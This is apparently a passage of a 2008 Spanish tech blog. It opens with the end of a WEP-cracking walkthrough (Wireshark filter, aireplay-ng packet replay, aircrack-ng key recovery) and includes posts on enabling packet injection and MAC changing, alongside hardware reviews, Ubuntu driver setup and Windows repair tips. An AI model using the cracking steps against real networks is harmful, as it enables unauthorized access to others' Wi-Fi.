(wlan.bssid == MAC_BSSID and (frame.pkt_len>=68 and frame.pkt_len le 86) and (wlan.da == ff:ff:ff:ff:ff:ff or wlan.sa == MAC_CLIENTE))

esto reducirá la lista de paquetes, aquí es donde debemos tratar de seleccionar el paquete correcto, de esto depende el éxito. Una vez seleccionado el paquete, tenemos que marcarlo.

Luego guardamos el paquete en el Menu : File - Save As.

Indicar el nombre , en este caso pktarp.cap.
Seleccionar : Marked Packets Only

Hasta aquí vamos bien, ahora lo que tenemos que hacer es inyectar el paquete, para eso en este ejemplo :

$ aireplay-ng -2 -r pktarp.cap mon0

esto nos mostrara algo así, a lo cual debemos responder Y.

Esperamos unos minutos, abrimos otra consola y ejecutamos aircrack , en este caso seria :

$ aircrack-ng wep_c

Luego de algunos minutos :

Encontramos la clave.

:)

Hp 2133 Mini-Note

2008-07-23T14:27:00.014-04:00

Ayer llego a mis manos este mini-note de hp, este equipo tiene como características generales, al menos el modelo que puede probar:

Procesador : VIA C7-M ULV processor (1.0 GHz, 128 KB L2 cache, 400 MHz FSB)
Monitor : 8.9" WXGA
Memoria : 512 MB 667 MHz DDR2 SDRAM
Disco Duro : 120GB
Cámara incorporada, tarjeta wireless b/g, lector de tarjetas SD, dos puertos USB, salida VGA,Tarjeta de red.
Viene con Suse Linux Enterprise Desktop 10.
Peso : Aproximadamente 1.1 kg.

Después de formatear , le instale Windows Xp, la instalación es bastante rápida... los drivers del equipo los puedes bajar de la pagina de Hp. El equipo funciona bien, considerando que es un equipo pequeño, que cumple bien su función al momento de navegar, leer correos, trabajar con Openoffice o Microsoft Office (Lo probé con office 2k).
Le falto memoria al momento de trabajar con cierto antivirus, quizás si hubiese tenido mas memoria RAM, habría sido mejor.

También instale Ubuntu 8.04.

Aquí tuve algunos problemas, el primero fue al momento de tratar de instalar con el live-cd, todo va bien hasta que intenta cargar el modo gráfico y se pierde la imagen.
Para solucionar este problema, basta con elegir al momento de ejecutar el live-cd el modo gráfico seguro.
Una vez elegido el idioma , presionar la tecla F4, y Seleccionar Modo Gráfico Seguro.

De aquí en adelante la instalación funciona sin problemas. Reconoce casi todo, la tarjeta wireless no la reconoce, para instalarla utilice las instrucciones que encontré aqui.

En resumen hacer los siguente :

$ echo 'blacklist bcm43xx' | sudo tee -a /etc/modprobe.d/blacklist
$ sudo apt-get install ndiswrapper-utils-1.9
$ mkdir ~/bcm43xx; cd ~/bcm43xx
$ sudo apt-get install cabextract
$ wget ftp://ftp.hp.com/pub/softpaq/sp38501-39000/sp38766.exe
$ cabextract sp38766.exe
$ sudo ndiswrapper -i bcmwl5.inf
$ ndiswrapper -l
$ sudo depmod -a
$ sudo modprobe ndiswrapper
$ sudo cp /etc/network/interfaces /etc/network/interfaces.orig
$ echo -e 'auto lo\niface lo inet loopback\n' | sudo tee /etc/network/interfaces
$ sudo ndiswrapper -m
$ echo 'ndiswrapper' | sudo tee -a /etc/modules
$ echo 'ENABLED=0' | sudo tee -a /etc/default/wpasupplicant
$ echo -e '#Hardy ssb/ndiswrapper workaround, added' `date` '\ninstall ndiswrapper modprobe -r b43 b44 b43legacy ssb; modprobe --ignore-install ndiswrapper $CMDLINE_OPTS; modprobe ssb; modprobe b44;' | sudo tee -a /etc/modprobe.d/ndiswrapper

Reiniciar el Equipo.

Tiene algunos detalles con el modo gráfico, no se ve del todo bien, pero creo que es un problema de configuración (xorg.conf).

Tiene mejor desempeño en Linux que en Windows.
Le instale ntop, iptraf, y funcionan bien.

En resumen un equipo liviano, cómodo para viajes, leer los correos, navegar, utilizar procesadores de texto.

Imágenes del Equipo :

Ubuntu 8.04 ipw4965 aircrack V2

2008-07-18T11:40:00.015-04:00

Otra forma de habilitar la Inyección de paquetes en iwl4965 :

Tenemos dos opciones con el kernel , la primera opción es descargando los fuentes.

wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.x.y.tar.bz2
(donde x.y es la versión de el kernel, para mayor información vista www.kernel.org)

$ cp linux-2.6.x.y.tar.bz2 /usr/src
$ tar -vxjf linux-2.6.x.y.tar.bz2
$ cd /usr/src/linux-2.6.x.y

Luego copiar el archivo .config de alguna compilación antigua.

$ cp .config /usr/src/linux-2.6.25.4

Para verificar las nuevas características que trae el nuevo kernel.

$ make menuconfig

Ahora vamos a compilar y a crear los .deb para el nuevo kernel

$ make-kpkg clean
$ make-kpkg --initrd kernel_image kernel_headers modules_image

si todo sale bien :

$ dpkg -i /usr/src/linux-*-2.6.x.y*.deb

Reiniciar y verificar que todo funcione bien.

La segunda opción es la mas sencilla, es simplemente verificar que tenemos instalados los headers de la versión del kernel que actualmente estas ocupando.

Para ver la versión del kernel :

$ uname -a

en mi caso : 2.6.24-19-generic
Para verificar si tenemos instalados los headers :

$ dpkg --get-selections|grep 2.6.24-19-generic

en mi caso se aparece :

linux-headers-2.6.24-19-generic install

si no te aparecen los headers:

$ apt-get install linux-headers-2.6.x.y

Listo el tema del kernel, ahora a descargar lo necesario .

$ cd /usr/src
$ wget http://dl.aircrack-ng.org/iw.tar.bz2
$ wget http://www.orbit-lab.org/kernel/compat-wireless-2.6/2008/06/compat-wireless-2008-06-25.tar.bz2
$ wget http://patches.aircrack-ng.org/mac80211_2.6.26-rc8-wl_frag.patch
wget http://www.intellinuxwireless.org/iwlwifi/downloads/iwlwifi-4965-ucode-4.44.1.20.tgz
Ir a : http://tinyshell.be/aircrackng/forum/index.php?action=dlattach;topic=2898.0;id=360 y guardar el archivo en /usr/src como 0001-iwlwifi-Fix-packet-injection-in-iwl3945-and-iwl4965.patch

Ahora a compilar :

$ tar -xvjf compat-wireless-2008-06-25.tar.bz2
$ cd compat-wireless-2008-06-25
$ patch -p1 < /usr/src/0001-iwlwifi-Fix-packet-injection-in-iwl3945-and-iwl4965.patch
$ patch -p1 < /usr/src/mac80211_2.6.26-rc8-wl_frag.patch
$ make
$ make install
$ make load
$ modprobe -r iwl4965
$ modprobe iwl4965
$ tar -vxzf iwlwifi-4965-ucode-4.44.1.20.tgz
$ cp ./iwlwifi-4965-ucode-4.44.1.20/iwlwifi-4965-1.ucode /lib/firmware/
$ tar -xvjf iw.tar.bz2
$ make
$ make install

Como ya tenia instalado aircrack-ng de la distribución, pruebo como funciona

$ airmon-ng start wlan0 (como Root!! , o con sudo)

y me muestra el siguiente error :

Interface Chipset Driver

wlan0 iwl4965 - [phy0]/usr/sbin/airmon-ng: 833: cannot create /sys/class/ieee80211/phy0/add_iface: Directory nonexistent
Error for wireless request "Set Mode" (8B06) :
SET failed on device mon0 ; No such device.
mon0: ERROR mientras se obtenían las banderas de interfaz: No existe el dispositivo

(monitor mode enabled on mon0)

Para solucionarlo se desinstala el paquete de la distribución y se instala desde los fuentes :

$ wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz
$ tar -vzxf aircrack-ng-1.0-rc1.tar.gz
$ cd aircrack-ng-1.0-rc1
$ make
$ make install

probamos otra vez :

$ airmon-ng start wlan0

Interface Chipset Driver

wlan0 iwl4965 a/b/g/n - [phy1]
monitor mode enabled on mon0

El resto RTFM ... a probar la Inyenccion ;)

Ubuntu 8.04 ipw4965 aircrack

2008-07-17T10:40:00.009-04:00

Preparativos
sudo apt-get install macchanger-gtk //para camabiar la mac

sudo apt-get install linux-wlan-ng linux-wlan-ng-firmware

Patch
para el kernel 2.6.24 y 2.6.25
para el kernel 2.6.26-rc
pare el kernel 2.6.26-rc8-wl
f1270a2e0 (Para Inyectar Paketes)

para trabajar con airmon-ng se necesita iw, no confundir con iwconfig, se puede descargar desde aca.
Para instalaw iw, se necesita libnl
sudo apt-get install libnl-dev libnl1

tar -xvjf iw.tar.bz2
make
make install
para probar iw dev info

Manos a la obra....
Se necesita ademas... :
el fuente del kernel o los headers...
compat-wireless
aircrack-ng

Verificar las siguientes opciones del kernel :

 Networking -> Wireless :
[M] Improved wireless configuration API
[*]   nl80211 new netlink interface support
[*] Wireless extensions
[M] Generic IEEE 802.11 Networking Stack (mac80211)
[M] Generic IEEE 802.11 Networking Stack (DEPRECATED)
[M]   IEEE 802.11 WEP encryption (802.1x)
[M]   IEEE 802.11i CCMP support
[M]   IEEE 802.11i TKIP encryption

[M]   Software MAC add-on to the IEEE 802.11 networking stack

A compilar se ha dicho :

bunzip2 compat-wireless-2008-06-25.tar.bz2
tar xf compat-wireless-2008-06-25.tar
cd compat-wireless-2008-06-25
patch -p1 < ../f1270a2e0.txt
patch -p1 < ../mac80211_2.6.24.4_frag.patch   /*Recuerda que depende de la versión del Kernel*/
make
rmmod iwl4965 [como root!]
make install
modprobe iwl4965 [como  root!]

Solo Resta probar :

sudo airmon-ng start wlan0

y debería mostrar algo como :

Interface Chipset  Driver

wlan0  Intel 4965 a/b/g/n iwl4965 - [phy0]
   (monitor mode enabled on mon0)

el resto RTFM.....

Pantalla en Negro con WifiSlax 3.1

2008-07-15T09:10:00.004-04:00

Tengo un Hp Compaq 6510b y quise instalar el wifislax, pero cuando iniciaba el live-cd la pantalla se va a negro y no se ve nada.
Probé con los cheatcodes que se indican el la pagina de wifislax (acpi=off) pero no funciono.

Buscando en google, encontré lo soguiente:

"..veras en la línea de arranque que pone por el principio "vga=normal" (o algo así). Substituye normal por 0x317.."

Esto se hace cuando aparece el menú de inicio, se debe presionar la tecla Tab , para editar las opciones de Boot. Una vez hecho esto, funciona sin problemas.

Ocultar Usuarios de la ventana de bienvenida en Windows Xp

2008-07-10T16:17:00.001-04:00

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogon/SpecialAccounts

Ahora en el panel de la derecha haces clic con el ratón derecho y seleccionas Nuevo y luego Valor DWORD, luego le pones el nombre de la cuenta de Usuario que quieres ocultar (por ejemplo Javier suponiendo que la cuenta de usuario que quieres ocultar sea esa) y pulsa la tecla Intro.

Portégé : Como entrar a la Bios

2008-06-23T10:46:00.004-04:00

Luego de jugar con las teclas de función: F1...F12, para ingresar a la Bios del portátil, y sin haber tenido éxito...
Se me ocurrió presionar la tecla Esc mientras aparece Toshiba en la pantalla.
Presionando esa tecla se puede entrar a la Bios del portátil.

Archivos Chm en Linux

2008-06-13T23:21:00.003-04:00

Hoy me enviaron un tutorial de java... y para colmo viene en formato chm (Microsoft Compiled Html Help).

Para poder verlo en Ubuntu , hay que instalar gnochm,

$ sudo apt-get install gnochm

Si lo que quieres es convertirlo a otro formato instala libchm-bin

$ sudo apt-get install libchm-bin
$ extract_chmLib libro.chm directorio_donde_almacena

Así queda en formato html, para convertirlo a formato pdf, instala htmldoc

$ sudo apt-get install htmldoc

luego ejecuta htmldoc

Control de Cambios OpenOffice Writer

2008-05-30T16:47:00.002-04:00

Para habilitar el control cambio, basta con ir al menú Editar-> Modificaciones, y seleccionar Grabar.

Windows/System32/Config/System Dañado

2008-05-15T12:33:00.003-04:00

Mensaje de Error cuando esta iniciando Winbug XP.
No se ha iniciado Windows porque el siguiente archivo falta o esta dañado :
Windows/System32/Config/System


Varias veces me he topado con este problema, y encontré tres formas de solucionarlo.

A) Utilizar winternals (AKA ERD 2005), este programa repara varios problemas.
 Existen unas versiones mas nuevas pero son de Micro$soft.
B) Iniciar con el cd de Windows XP , elegir reparar, una vez en el prompt
 ejecutar : (Seguir las Instrucciones de cada comando)

FIXMBR
FIXBOOT
BOOTCFG /Rebuild
EXIT

C) Iniciar con el cd de windows xp , elegir reparar, una vez en el prompt  ejecutar : 
    cd \windows\
    mkdir tmp
     move c:\windows\system32\config\* c:\windows\tmp\
    copy c:\windows\repair\system c:\windows\system32\config\system
    copy c:\windows\repair\software c:\windows\system32\config\software
    copy c:\windows\repair\sam c:\windows\system32\config\sam
    copy c:\windows\repair\security c:\windows\system32\config\security
    copy c:\windows\repair\default c:\windows\system32\config\default 
    exit

Listando los procesos que corre un usuario

2008-05-15T12:24:00.001-04:00

# pgrep -u filth

Evitando Syn Floods

2008-05-15T12:23:00.000-04:00

# echo "1" > /proc/sys/net/ipv4/tcp_syncookies

Sabiendo que proceso es dueño de algun puerto

2008-05-15T12:21:00.001-04:00

# netstat -atup | more

Ocultar Usuarios de la ventana de bienvenida en Windows Xp

2008-05-15T12:13:00.002-04:00

Si no quieres que aparezca algún usuario del sistema en la pantalla de bienvenida de windows xp.
Crea una nueva clave DWORD, con el nombre del usuario que deseas ocultar, el valor debe ser 0 (cero), en la siguiente ruta del registro :
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList